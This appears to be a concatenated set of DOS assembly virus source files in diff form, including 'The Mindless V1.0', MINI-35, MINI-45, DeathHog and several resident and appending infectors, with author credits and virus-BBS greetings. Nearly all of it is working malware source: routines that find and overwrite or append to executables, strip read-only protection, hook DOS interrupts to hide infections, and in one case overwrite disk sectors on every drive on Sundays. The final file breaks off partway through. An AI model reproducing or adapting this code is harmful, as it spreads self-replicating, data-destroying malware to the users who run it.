;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_8 proc near
|
||||
mov dx,10h
|
||||
mul dx ; dx:ax = reg * ax
|
||||
retn
|
||||
sub_8 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_9 proc near
|
||||
xor ax,ax ; Zero register
|
||||
xor bx,bx ; Zero register
|
||||
xor cx,cx ; Zero register
|
||||
xor dx,dx ; Zero register
|
||||
xor si,si ; Zero register
|
||||
xor di,di ; Zero register
|
||||
xor bp,bp ; Zero register
|
||||
retn
|
||||
sub_9 endp
|
||||
|
||||
loc_22:
|
||||
push ds
|
||||
call sub_10 ; (044D)
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_10 proc near
|
||||
mov ax,4B4Dh
|
||||
int 21h ; DOS Services ah=function 4Bh
|
||||
; run progm @ds:dx, parm @es:bx
|
||||
jc loc_23 ; Jump if carry Set
|
||||
jmp loc_33 ; (057D)
|
||||
loc_23:
|
||||
pop si
|
||||
push si
|
||||
mov di,si
|
||||
xor ax,ax ; Zero register
|
||||
push ax
|
||||
pop ds
|
||||
les ax,dword ptr ds:data_1e ; (0000:004C=20D0h) Load 32 bit ptr
|
||||
mov cs:data_42e[si],ax ; (7382:FCEA=0)
|
||||
mov cs:data_43e[si],es ; (7382:FCEC=0)
|
||||
les bx,dword ptr ds:data_3e ; (0000:0084=6C7h) Load 32 bit ptr
|
||||
mov cs:data_40e[di],bx ; (7382:FCE2=0)
|
||||
mov cs:data_41e[di],es ; (7382:FCE4=0)
|
||||
mov ax,ds:data_7e ; (0000:0102=0F000h)
|
||||
cmp ax,0F000h
|
||||
jne loc_31 ; Jump if not equal
|
||||
mov dl,80h
|
||||
mov ax,ds:data_8e ; (0000:0106=0F000h)
|
||||
cmp ax,0F000h
|
||||
je loc_24 ; Jump if equal
|
||||
cmp ah,0C8h
|
||||
jb loc_31 ; Jump if below
|
||||
cmp ah,0F4h
|
||||
jae loc_31 ; Jump if above or =
|
||||
test al,7Fh
|
||||
jnz loc_31 ; Jump if not zero
|
||||
mov ds,ax
|
||||
cmp word ptr ds:data_44e,0AA55h ; (F000:0000=0AA55h)
|
||||
jne loc_31 ; Jump if not equal
|
||||
mov dl,ds:data_45e ; (F000:0002=40h)
|
||||
loc_24:
|
||||
mov ds,ax
|
||||
xor dh,dh ; Zero register
|
||||
mov cl,9
|
||||
shl dx,cl ; Shift w/zeros fill
|
||||
mov cx,dx
|
||||
xor si,si ; Zero register
|
||||
|
||||
locloop_25:
|
||||
lodsw ; String [si] to ax
|
||||
cmp ax,0FA80h
|
||||
jne loc_26 ; Jump if not equal
|
||||
lodsw ; String [si] to ax
|
||||
cmp ax,7380h
|
||||
je loc_27 ; Jump if equal
|
||||
jnz loc_28 ; Jump if not zero
|
||||
loc_26:
|
||||
cmp ax,0C2F6h
|
||||
jne loc_29 ; Jump if not equal
|
||||
lodsw ; String [si] to ax
|
||||
cmp ax,7580h
|
||||
jne loc_28 ; Jump if not equal
|
||||
loc_27:
|
||||
inc si
|
||||
lodsw ; String [si] to ax
|
||||
cmp ax,40CDh
|
||||
je loc_30 ; Jump if equal
|
||||
sub si,3
|
||||
loc_28:
|
||||
dec si
|
||||
dec si
|
||||
loc_29:
|
||||
dec si
|
||||
loop locloop_25 ; Loop if cx > 0
|
||||
|
||||
jmp short loc_31 ; (04EC)
|
||||
loc_30:
|
||||
sub si,7
|
||||
mov cs:data_42e[di],si ; (7382:FCEA=0)
|
||||
mov cs:data_43e[di],ds ; (7382:FCEC=0)
|
||||
loc_31:
|
||||
mov ah,62h ; 'b'
|
||||
int 21h ; DOS Services ah=function 62h
|
||||
; get progrm seg prefix addr bx
|
||||
mov es,bx
|
||||
mov ah,49h ; 'I'
|
||||
int 21h ; DOS Services ah=function 49h
|
||||
; release memory block, es=seg
|
||||
mov bx,0FFFFh
|
||||
mov ah,48h ; 'H'
|
||||
int 21h ; DOS Services ah=function 48h
|
||||
; allocate memory, bx=bytes/16
|
||||
sub bx,4Eh
|
||||
nop
|
||||
jc loc_33 ; Jump if carry Set
|
||||
mov cx,es
|
||||
stc ; Set carry flag
|
||||
adc cx,bx
|
||||
mov ah,4Ah ; 'J'
|
||||
int 21h ; DOS Services ah=function 4Ah
|
||||
; change mem allocation, bx=siz
|
||||
mov bx,4Dh
|
||||
stc ; Set carry flag
|
||||
sbb es:data_12e,bx ; (06C7:0002=0B8C3h)
|
||||
push es
|
||||
mov es,cx
|
||||
mov ah,4Ah ; 'J'
|
||||
int 21h ; DOS Services ah=function 4Ah
|
||||
; change mem allocation, bx=siz
|
||||
mov ax,es
|
||||
dec ax
|
||||
mov ds,ax
|
||||
mov word ptr ds:data_11e,8 ; (0677:0001=3EC4h)
|
||||
call sub_8 ; (0434)
|
||||
mov bx,ax
|
||||
mov cx,dx
|
||||
pop ds
|
||||
mov ax,ds
|
||||
call sub_8 ; (0434)
|
||||
add ax,ds:data_13e ; (06C7:0006=0F0EBh)
|
||||
adc dx,0
|
||||
sub ax,bx
|
||||
sbb dx,cx
|
||||
jc loc_32 ; Jump if carry Set
|
||||
sub ds:data_13e,ax ; (06C7:0006=0F0EBh)
|
||||
loc_32:
|
||||
mov si,di
|
||||
xor di,di ; Zero register
|
||||
push cs
|
||||
pop ds
|
||||
sub si,34Dh
|
||||
mov cx,4C3h
|
||||
inc cx
|
||||
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
|
||||
mov ah,62h ; 'b'
|
||||
int 21h ; DOS Services ah=function 62h
|
||||
; get progrm seg prefix addr bx
|
||||
dec bx
|
||||
mov ds,bx
|
||||
mov byte ptr ds:data_10e,5Ah ; (0676:0000=0E8h) 'Z'
|
||||
mov dx,1A8h
|
||||
xor ax,ax ; Zero register
|
||||
push ax
|
||||
pop ds
|
||||
mov ax,es
|
||||
sub ax,10h
|
||||
mov es,ax
|
||||
cli ; Disable interrupts
|
||||
mov ds:data_3e,dx ; (0000:0084=6C7h)
|
||||
mov word ptr ds:data_3e+2,es ; (0000:0086=102Ch)
|
||||
sti ; Enable interrupts
|
||||
dec byte ptr ds:data_9e ; (0000:047B=14h)
|
||||
loc_33:
|
||||
pop si
|
||||
cmp word ptr cs:data_35e[si],5A4Dh ; (7382:FCB6=0)
|
||||
jne loc_34 ; Jump if not equal
|
||||
pop ds
|
||||
mov ax,cs:data_39e[si] ; (7382:FCD8=0)
|
||||
mov bx,cs:data_38e[si] ; (7382:FCD6=0)
|
||||
push cs
|
||||
pop cx
|
||||
sub cx,ax
|
||||
add cx,bx
|
||||
push cx
|
||||
push word ptr cs:data_37e[si] ; (7382:FCD4=0)
|
||||
push ds
|
||||
pop es
|
||||
call sub_9 ; (043A)
|
||||
retf ; Return far
|
||||
loc_34:
|
||||
pop ax
|
||||
mov ax,cs:data_35e[si] ; (7382:FCB6=0)
|
||||
mov word ptr cs:[100h],ax ; (7382:0100=46E9h)
|
||||
mov ax,cs:data_36e[si] ; (7382:FCB8=0)
|
||||
mov word ptr cs:[102h],ax ; (7382:0102=0C303h)
|
||||
mov ax,100h
|
||||
push ax
|
||||
push cs
|
||||
pop ds
|
||||
push ds
|
||||
pop es
|
||||
call sub_9 ; (043A)
|
||||
retn
|
||||
sub_10 endp
|
||||
|
||||
|
||||
seg_a ends
|
||||
|
||||
|
||||
|
||||
end start
|
||||
@@ -0,0 +1,228 @@
|
||||
; The Mindless V1.0 Virus
|
||||
;
|
||||
; Type: *.COM Overwriter
|
||||
;
|
||||
; Programmer: Natas Kaupas
|
||||
|
||||
; Notes:
|
||||
;
|
||||
; Read the texts that come with this for all of the necessary
|
||||
; info...if you've got any questions contact me on any YAM Dist. Sites.
|
||||
;
|
||||
; I Couldn't Have Made This Without:
|
||||
;
|
||||
; Soltan Griss -Kode4
|
||||
; Data Disruptor -encrypted part
|
||||
; Mr. Mike -typematic delay thing
|
||||
; And Everyone I Forgot!
|
||||
|
||||
seg_a segment byte public
|
||||
assume cs:seg_a, ds:seg_a
|
||||
org 100h
|
||||
|
||||
|
||||
MINDL proc far
|
||||
start label near
|
||||
db 0E9h,00h,00h
|
||||
|
||||
vstart equ $
|
||||
|
||||
mov cx,09EBh ;debug killer
|
||||
mov ax,0FE05h ;
|
||||
jmp $-2 ;
|
||||
add ah,03Bh ;
|
||||
jmp $-10 ;
|
||||
|
||||
push ds ;save old data segment
|
||||
sub ax,ax ;put zero in ax
|
||||
push ax ;save it on stack
|
||||
|
||||
mov ah,2ah ;get date
|
||||
int 21h
|
||||
cmp al,0 ;is it a Sunday?
|
||||
jne rater ;no...don't format then
|
||||
|
||||
doom:
|
||||
mov ax,3301h ;turn off ^C Check
|
||||
xor dl,dl ;0
|
||||
int 21h
|
||||
|
||||
mov cx,lident ;this all has to do with the encrypted
|
||||
mov si,offset ident ;message
|
||||
mov di,offset dest ;
|
||||
doshit:
|
||||
mov al,ds:[si] ;unencrypt message
|
||||
mov temp,al ;
|
||||
xor byte ptr ds:[temp],01h ;
|
||||
mov al,temp ;
|
||||
mov [di],al ;
|
||||
inc si ;
|
||||
inc di ;
|
||||
loop doshit ;loop back and finish it
|
||||
doomb:
|
||||
cmp drive,27 ;format all drives
|
||||
jge boot ;done...then end (boot)
|
||||
pushf ;push flags on
|
||||
mov al,drive ;find drive
|
||||
mov cx,sectors ;find sectors
|
||||
mov dx,0 ;start at sector 0
|
||||
mov bx,offset dest ;write encrypted message
|
||||
int 26h ;format
|
||||
popf ;pop flags off
|
||||
inc drive ;go up to next drive
|
||||
jmp doomb ;repeat
|
||||
|
||||
;this was originally going to boot...but for some reason it couldn't format in
|
||||
;time (before the boot), so it didn't format...oh well.
|
||||
|
||||
boot:
|
||||
mov dl,2ch ;get system time
|
||||
int 21h
|
||||
and dl,0Fh ;AND 100th seconds by 0Fh
|
||||
or dl,dl ;0?
|
||||
jz locker ;yes..then lock up system
|
||||
|
||||
mov cx,1980 ;date, 1980
|
||||
mov dx,0 ;mon/day, 0
|
||||
mov ah,2Bh ;set date
|
||||
int 21h
|
||||
mov cx,0 ;hrs/min, 0
|
||||
mov dx,0 ;sec, 0
|
||||
mov ah,2Dh ;set time
|
||||
int 21h
|
||||
mov ax,3301h ;turn ^C Check back on
|
||||
mov dl,1 ;1
|
||||
int 21h
|
||||
mov ax,4c00h ;end with error message 00
|
||||
int 21h
|
||||
|
||||
locker:
|
||||
jmp $ ;lock up computer
|
||||
|
||||
rater:
|
||||
mov al,dl
|
||||
mov dl,0c0h ;unkown ms, really grinds on mine though!
|
||||
jz valid ;it must be around 15ms
|
||||
;which is slow considering default is 9ms
|
||||
;and most floppies can actually go under 6ms
|
||||
|
||||
valid:
|
||||
push ds ;Save the data segment
|
||||
mov bx,78h ;point to pointer for floppy drive tables
|
||||
mov ax,0
|
||||
mov ds,ax ;set to segment 0
|
||||
mov ax,[bx] ;get the pointer
|
||||
mov bx,ax ;into the bx register
|
||||
mov al,[bx] ;now get the present step rate
|
||||
and al,0fh ;remove the old step rate
|
||||
or al,dl ;put in the new step rate
|
||||
mov [bx],al ;and put it back where it goes
|
||||
mov ah,0 ;now call on the BIOS to
|
||||
int 13h ;reload the set floppy disk controller
|
||||
pop ds ;Reset the Data Segment
|
||||
|
||||
go_on:
|
||||
|
||||
push ds ;save present data segment
|
||||
|
||||
mov bx,78h ;point to pointer for floppy drive tables
|
||||
mov ax,0
|
||||
mov ds,ax ;set to segment 0
|
||||
mov ax,[bx] ;get the pointer
|
||||
mov bx,ax ;into the bx register
|
||||
mov al,[bx] ;now get the step rate
|
||||
pop ds
|
||||
push ax ;save the step rate on the stack
|
||||
|
||||
|
||||
typematic:
|
||||
mov bl,repeat ;get the parameters
|
||||
mov bh,init ;
|
||||
mov ax,305h ;set typematic rate and delay
|
||||
int 16h ;
|
||||
xor al,al ;errorlevel = 0
|
||||
|
||||
n_start: mov ah,4Eh ;Find first Com file in directory
|
||||
mov dx,offset filename ;use "*.com"
|
||||
int 21h
|
||||
|
||||
Back:
|
||||
mov ah,43h ;get rid of read only protection
|
||||
mov al,0 ;
|
||||
mov dx,9eh ;
|
||||
int 21h ;
|
||||
mov ah,43h ;
|
||||
mov al,01 ;
|
||||
and cx,11111110b ;
|
||||
int 21h ;
|
||||
|
||||
mov ax,3D01h ;Open file for writing
|
||||
mov dx,9Eh ;get file name from file data area
|
||||
int 21h
|
||||
|
||||
mov bx,ax ;save handle in bx
|
||||
mov ah,57h ;get time date
|
||||
mov al,0
|
||||
int 21h
|
||||
|
||||
push cx ;put in stack for later
|
||||
push dx
|
||||
|
||||
|
||||
mov dx,100h ;Start writing at 100h
|
||||
mov cx,(vend-vstart) ;write ?? bytes
|
||||
mov ah,40h ;Write Data into the file
|
||||
int 21h
|
||||
|
||||
|
||||
pop dx ;Restore old dates and times
|
||||
pop cx
|
||||
mov ah,57h
|
||||
mov al,01h
|
||||
int 21h
|
||||
|
||||
|
||||
|
||||
mov ah,3Eh ;Close the file
|
||||
int 21h
|
||||
|
||||
mov ah,4Fh ;Find Next file
|
||||
int 21h
|
||||
|
||||
jnc Back
|
||||
|
||||
done:
|
||||
|
||||
int 20h ;Terminate Program
|
||||
|
||||
V_Length equ vend-vstart
|
||||
|
||||
drive db ?
|
||||
sectors dw 456
|
||||
|
||||
filename db "*.c*",0
|
||||
|
||||
ident db "ZXntofrudsr!@f`horu!Lb@ggdd\!,O@U@R!J@TQ@R",13,10
|
||||
db "Uid!Lhoemdrr!Whstr!w0/1!",13,10
|
||||
|
||||
;encrypted message:
|
||||
;ident db "[Youngsters Against McAffee] -NATAS KAUPAS",13,10
|
||||
; db "The Mindless Virus v1.0 ",13,10
|
||||
|
||||
lident equ $-ident
|
||||
dest db [lident-1/2] dup (?)
|
||||
temp db 0
|
||||
|
||||
repeat equ 250
|
||||
init equ 0
|
||||
|
||||
mindl endp
|
||||
|
||||
vend equ $
|
||||
|
||||
seg_a ends
|
||||
|
||||
end start
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,59 @@
|
||||
; MINI-35 is Copyright (C) by Line Noise 1992...
|
||||
; You are allowed to use this code in your own
|
||||
; programs if you want, you are allowed to
|
||||
; give this source away, sell it or whatever...
|
||||
; None of the members of Line Noise should be held
|
||||
; responsible for the consequences of the use
|
||||
; of this program....
|
||||
; Use this program at your own risk...
|
||||
; Iow if you use this code, you agree with the above...
|
||||
; The MINI-35 is based upon the MINI-45 from bulgaria(?).
|
||||
; If anybody manages to shrink the code even more then
|
||||
; leave me(Dark Wolf) a message at your nearest Virus BBS...
|
||||
;
|
||||
; Greetings from Dark Wolf/Line Noise
|
||||
|
||||
|
||||
SEG_A SEGMENT BYTE PUBLIC
|
||||
ASSUME CS:SEG_A, DS:SEG_A
|
||||
|
||||
|
||||
ORG 100h
|
||||
|
||||
MINI PROC
|
||||
|
||||
START:
|
||||
MOV AH,4Eh
|
||||
MOV DX,OFFSET FMATCH ;address to file match
|
||||
INT 21h ;DOS int, ah=function 4Eh
|
||||
;find 1st filenam match@DS:DX
|
||||
MOV AX,3D02h ;02=for read & write...
|
||||
MOV DX,9Eh ;address to filename...
|
||||
INT 21h ;DOS Services ah=function 3Dh
|
||||
;open file, AL=mode,name@DS:DX
|
||||
XCHG AX,BX ;BX = handle now
|
||||
MOV DX,100h
|
||||
MOV AH,40h ;Function 40h, write file
|
||||
MOV CL,35 ;number of bytes to write
|
||||
INT 21h ;CX=bytes, to DS:DX
|
||||
;BX=file handle
|
||||
|
||||
MOV AH,3Eh ;function 3Eh, close file
|
||||
INT 21h ;BX=file handle
|
||||
|
||||
RETN
|
||||
|
||||
FMATCH: DB '*.C*',0 ;The virus didn't want to
|
||||
;work when I changed this
|
||||
;to *.* or *...
|
||||
;WHY NOT?! Anybody gotta
|
||||
;hint on this?!
|
||||
|
||||
MINI ENDP
|
||||
|
||||
SEG_A ENDS
|
||||
|
||||
|
||||
|
||||
END START
|
||||
|
||||
@@ -0,0 +1,42 @@
|
||||
.model tiny ;Sets memory model for TASM
|
||||
.radix 16 ;Sets default number system to hexidecimal (base 16)
|
||||
.code ;starts code section
|
||||
|
||||
org 100 ;makes program begin at 100h, i.e. a .COM file
|
||||
|
||||
start: ;beginning label
|
||||
|
||||
mov ah,4e ;set ah to 4e, sets function called by int 21
|
||||
;to find first match
|
||||
mov dx,offset file_mask ;sets search to look for *.com
|
||||
|
||||
search:
|
||||
int 21 ;executes find first match function
|
||||
jc quit ;if there aren't any files, ends
|
||||
|
||||
|
||||
mov ax,3d02 ;open file read/write mode
|
||||
mov dx,9e ;pointer to name found by findfirst
|
||||
int 21
|
||||
|
||||
xchg ax,bx ;moves file handle to bx from ax
|
||||
mov ah,40 ;sets ah to write to file function
|
||||
mov cl,[ender-start] ;overwrites file
|
||||
mov dx,100 ;starting address for coms, write from
|
||||
int 21 ;beginning of virus
|
||||
|
||||
|
||||
mov ah,3e
|
||||
int 21 ;closes file handle
|
||||
|
||||
mov ah,4f
|
||||
jmp short search ;jumps back set to find next
|
||||
|
||||
quit:
|
||||
int 20 ;ends program
|
||||
|
||||
file_mask db '*.c*',0 ;file mask to match to programs
|
||||
|
||||
ender: ;label for size calculation
|
||||
|
||||
end start ;end of code
|
||||
@@ -0,0 +1,50 @@
|
||||
;***************************************************************
|
||||
; DISASSEMBLY of the MINI-45 VIRUS
|
||||
;***************************************************************
|
||||
; FIND .COM FILE TO INFECT
|
||||
;***************************************************************
|
||||
MOV DX, 127h ;filehandle search criteria-27bytes
|
||||
;away from beg. of file
|
||||
MOV AH, 4Eh ;setup for Dos function-find file
|
||||
INT 21h ;search for first file match
|
||||
JB FILESPEC ;jump below and return
|
||||
;****************************************************************
|
||||
; OPEN FILE
|
||||
;****************************************************************
|
||||
FIRST_FILE:
|
||||
MOV DX, 009Eh ;pointer to asciiz file spec
|
||||
MOV AX, 3D02h ;moving 3d into ah=call dos to open file
|
||||
;moving 02 into al=we want read\write
|
||||
;access
|
||||
INT 21h ;call dos function and open file.
|
||||
;file handle found is put in ax register
|
||||
JB NEXT_MATCH ;search for next match
|
||||
;****************************************************************
|
||||
; WRITE VIRUS CODE TO FILE
|
||||
;****************************************************************
|
||||
XCHG AX,BX ;put retrieved file handle from 3d open
|
||||
;call into bx so it can be used for
|
||||
;write function.
|
||||
MOV DX, 0100h ;point to buffer of data to write, i.e.
|
||||
;to myself
|
||||
MOV CX, 002Dh ;#of bytes to write. 45d bytes
|
||||
MOV AH, 40h ;setup write to file dos function
|
||||
INT 21h ;write to file indicated in bx
|
||||
;******************************************************************
|
||||
; CLOSE FILE
|
||||
;******************************************************************
|
||||
MOV AH, 3Eh ;setup for dos function to close file
|
||||
INT 21h ;close file
|
||||
;******************************************************************
|
||||
; FIND NEXT FILE MATCH
|
||||
;******************************************************************
|
||||
NEXT MATCH:
|
||||
MOV AH, 4Fh ;search for next file match
|
||||
JMP FIRST_FILE ;return above
|
||||
;******************************************************************
|
||||
;
|
||||
FILESPEC:
|
||||
db '*.com'
|
||||
db 00
|
||||
|
||||
|
||||
@@ -0,0 +1,64 @@
|
||||
; DeathHog, (will defeat read-only files and appends itself to all
|
||||
; files)
|
||||
; Originally based upon DeathCow (C) 1991 by Nowhere Man and [NuKE] WaErZ
|
||||
; r/w access, nuisance routines supplied by KOUCH
|
||||
;
|
||||
; Appended by Kouch, derived from DeathCow/Define (author unknown)
|
||||
|
||||
|
||||
virus_length equ finish - start
|
||||
|
||||
code segment 'CODE'
|
||||
assume cs:code,ds:code,es:code,ss:code
|
||||
|
||||
org 0100h
|
||||
|
||||
start label near
|
||||
|
||||
main proc near
|
||||
mov ah,04Eh ; DOS find first file function
|
||||
mov dx,offset file_spec ; DX points to "*.*" - any file
|
||||
int 021h
|
||||
|
||||
infect_file : mov ah,43H ;the beginning of this
|
||||
mov al,0 ;routine gets the file's
|
||||
mov dx,09Eh ;attribute and changes it
|
||||
int 21H ;to r/w access so that when
|
||||
;it comes time to open the
|
||||
mov ah,43H ;file, the virus can easily
|
||||
mov al,1 ;defeat files with a 'read only'
|
||||
mov dx,09Eh ;attribute. It leaves the file r/w,
|
||||
mov cl,0 ;because who checks that, anyway?
|
||||
int 21H
|
||||
|
||||
mov ax,03D01h ; DOS open file function, write-only
|
||||
mov dx,09Eh ; DX points to the found file
|
||||
int 021h
|
||||
|
||||
xchg bx,ax ; BX holds file handle
|
||||
|
||||
mov ah,040h ; DOS write to file function
|
||||
mov cl,virus_length ; CL holds # of bytes to write
|
||||
mov dx,offset main ; DX points to start of code
|
||||
int 021h
|
||||
|
||||
mov ah,03Eh ; DOS close file function
|
||||
int 021h
|
||||
|
||||
mov ah,04Fh ; DOS find next file function
|
||||
int 021h
|
||||
jnc infect_file ; Infect next file, if found
|
||||
|
||||
mov ah,31h ;insert 480K memory balloon
|
||||
mov dx,7530h ;for nuisance value
|
||||
int 21H ;it's big enough so 'out of
|
||||
;memory' messages will start cropping up quickly
|
||||
; RETurn to DOS
|
||||
|
||||
file_spec db "*.*",0 ; Files to infect: apped to all files
|
||||
main endp
|
||||
|
||||
finish label near
|
||||
|
||||
code ends
|
||||
end main
|
||||
@@ -0,0 +1,113 @@
|
||||
;****************************************************************************
|
||||
;* Mini non-resident virus
|
||||
;****************************************************************************
|
||||
|
||||
cseg segment
|
||||
assume cs:cseg,ds:cseg,es:cseg,ss:cseg
|
||||
|
||||
.RADIX 16
|
||||
|
||||
FILELEN equ eind - start
|
||||
FILNAM equ 69
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* Dummy program (infected)
|
||||
;****************************************************************************
|
||||
|
||||
org 100h
|
||||
|
||||
begin: db 4Dh
|
||||
db 0E9, 4, 0
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* Begin of the virus
|
||||
;****************************************************************************
|
||||
|
||||
|
||||
start: db 0CDh, 20h, 0, 0
|
||||
|
||||
push si ;si=0100
|
||||
|
||||
mov di,si
|
||||
add si,[si+2] ;si=0104
|
||||
push si
|
||||
movsw
|
||||
movsw
|
||||
pop si ;si -> start (buffer)
|
||||
|
||||
mov dh,0FF ;set DTA to FF80
|
||||
call setDTA
|
||||
|
||||
lea dx,[si+FILNAM] ;dx -> filename
|
||||
mov ah,4Eh ;find first file
|
||||
infloop: int 21
|
||||
cwd ;set DTA to 0080 and quit
|
||||
jc setDTA
|
||||
|
||||
mov dx,0FF9Eh
|
||||
mov ax,3D02h ;open the file
|
||||
call int21
|
||||
jc exit1
|
||||
xchg bx,ax
|
||||
|
||||
mov ah,3fh ;read begin of file
|
||||
int 21
|
||||
|
||||
cmp byte ptr [si],4Dh ;EXE or infected COM?
|
||||
je exit2
|
||||
|
||||
mov al,2 ;go to end of file
|
||||
call seek
|
||||
xchg ax,di
|
||||
|
||||
mov cl,FILELEN ;write program to end of file
|
||||
mov ah,40h
|
||||
int 21
|
||||
|
||||
mov al,0
|
||||
call seek
|
||||
mov word ptr [si],0E94Dh
|
||||
mov word ptr [si+2],di
|
||||
|
||||
|
||||
mov ah,40h
|
||||
int 21
|
||||
|
||||
exit2: mov ah,3Eh ;close the file
|
||||
int 21
|
||||
|
||||
exit1: mov ah,4Fh ;find next file
|
||||
jmp short infloop
|
||||
|
||||
setDTA: mov dl,80
|
||||
mov ah,1A
|
||||
int 21
|
||||
ret
|
||||
|
||||
seek: mov ah,42
|
||||
cwd
|
||||
int21: xor cx,cx
|
||||
int 21
|
||||
mov cl,04
|
||||
mov dx,si
|
||||
|
||||
return: ret
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* Data
|
||||
;****************************************************************************
|
||||
|
||||
filename db '*.COM',0
|
||||
|
||||
eind:
|
||||
|
||||
cseg ends
|
||||
end begin
|
||||
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄ> ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? <ÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
@@ -0,0 +1,187 @@
|
||||
;
|
||||
;
|
||||
;
|
||||
org 100h
|
||||
|
||||
ofs:
|
||||
push 100h
|
||||
push ax
|
||||
push ds
|
||||
push es
|
||||
mov dx,054h-(ofs/16)
|
||||
mov es,dx
|
||||
mov ax,es:ofs[0]
|
||||
cmp ax,ofs[0]
|
||||
je to_host
|
||||
|
||||
lea si,ofs
|
||||
mov di,si
|
||||
mov cx,virlength
|
||||
rep movsb
|
||||
|
||||
mov ds,es
|
||||
mov ax,3521h
|
||||
int 21h
|
||||
mov word ptr ds:old21[0],bx
|
||||
mov word ptr ds:old21[2],es
|
||||
|
||||
mov ax,2521h
|
||||
lea dx,new21
|
||||
int 21h
|
||||
|
||||
to_host: pop es
|
||||
pop ds
|
||||
mov di,0fe00h
|
||||
lea si,relocator
|
||||
mov cx,rellength
|
||||
rep movsb
|
||||
jmp 0fe00h
|
||||
|
||||
old21 dd 0
|
||||
|
||||
relocator:
|
||||
mov di,100h
|
||||
orgofs: lea si,orgp
|
||||
mov cx,virlength
|
||||
rep movsb
|
||||
pop ax
|
||||
ret
|
||||
|
||||
rellength equ $-relocator
|
||||
|
||||
new21:
|
||||
cmp ah,11h
|
||||
je findfcb
|
||||
cmp ah,12h
|
||||
je findfcb
|
||||
cmp ah,4eh
|
||||
je find
|
||||
cmp ah,4fh
|
||||
je find
|
||||
cmp ax,4b00h
|
||||
je exec
|
||||
|
||||
jmp short dword ptr cs:[old21]
|
||||
|
||||
getdta:
|
||||
pop si
|
||||
pushf
|
||||
push ax
|
||||
push bx
|
||||
push es
|
||||
mov ah,2fh
|
||||
call dos
|
||||
jmp short si
|
||||
|
||||
FindFCB: call DOS ; call orginal interrupt
|
||||
cmp al,0 ; error ?
|
||||
jne Ret1
|
||||
call getdta
|
||||
cmp byte ptr es:[bx],-1 ; extended fcb ?
|
||||
jne FCBOk
|
||||
add bx,8 ; yes, skip 8 bytes
|
||||
FCBOk: mov al,es:[bx+16h] ; get file-time (low byte)
|
||||
and al,1fh ; seconds
|
||||
cmp al,1fh ; 62 seconds ?
|
||||
jne FileOk ; no, file not infected
|
||||
sub word ptr es:[bx+1ch],Virlength ; adjust file-size
|
||||
sbb word ptr es:[bx+1eh],0
|
||||
jmp short Time
|
||||
|
||||
Find: call DOS
|
||||
jc Ret1
|
||||
call getdta
|
||||
mov al,es:[bx+16h]
|
||||
and al,1fh
|
||||
cmp al,1fh
|
||||
jne FileOk
|
||||
sub word ptr es:[bx+1ah],VirLength
|
||||
sbb word ptr es:[bx+1ch],0
|
||||
Time: xor byte ptr es:[bx+16h],10h
|
||||
FileOk: pop es
|
||||
pop bx
|
||||
pop ax
|
||||
popf
|
||||
Ret1: retf 2
|
||||
|
||||
exec: push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push ds
|
||||
push es
|
||||
mov ax,3d02h
|
||||
call dos
|
||||
mov bx,0bc00h
|
||||
mov ds,bx
|
||||
mov bh,3fh
|
||||
xchg ax,bx
|
||||
xor dx,dx
|
||||
mov cx,virlength
|
||||
call dos
|
||||
cmp word ptr ds:[0],'ZM'
|
||||
je exe
|
||||
cmp word ptr ds:[0],0068h ; push 100
|
||||
jne noexe
|
||||
exe: mov ah,3eh
|
||||
call dos
|
||||
pop es
|
||||
pop ds
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
jmp short dword ptr cs:[old21]
|
||||
|
||||
noexe: mov ax,4202h
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
call dos
|
||||
cmp ax,0fd00h
|
||||
jae exe
|
||||
cmp ax,virlength+10
|
||||
jb exe
|
||||
inc ah
|
||||
mov word ptr cs:orgofs[1],ax
|
||||
|
||||
mov ax,5700h
|
||||
call dos
|
||||
or cx,1fh
|
||||
push cx
|
||||
push dx
|
||||
|
||||
mov ah,40h
|
||||
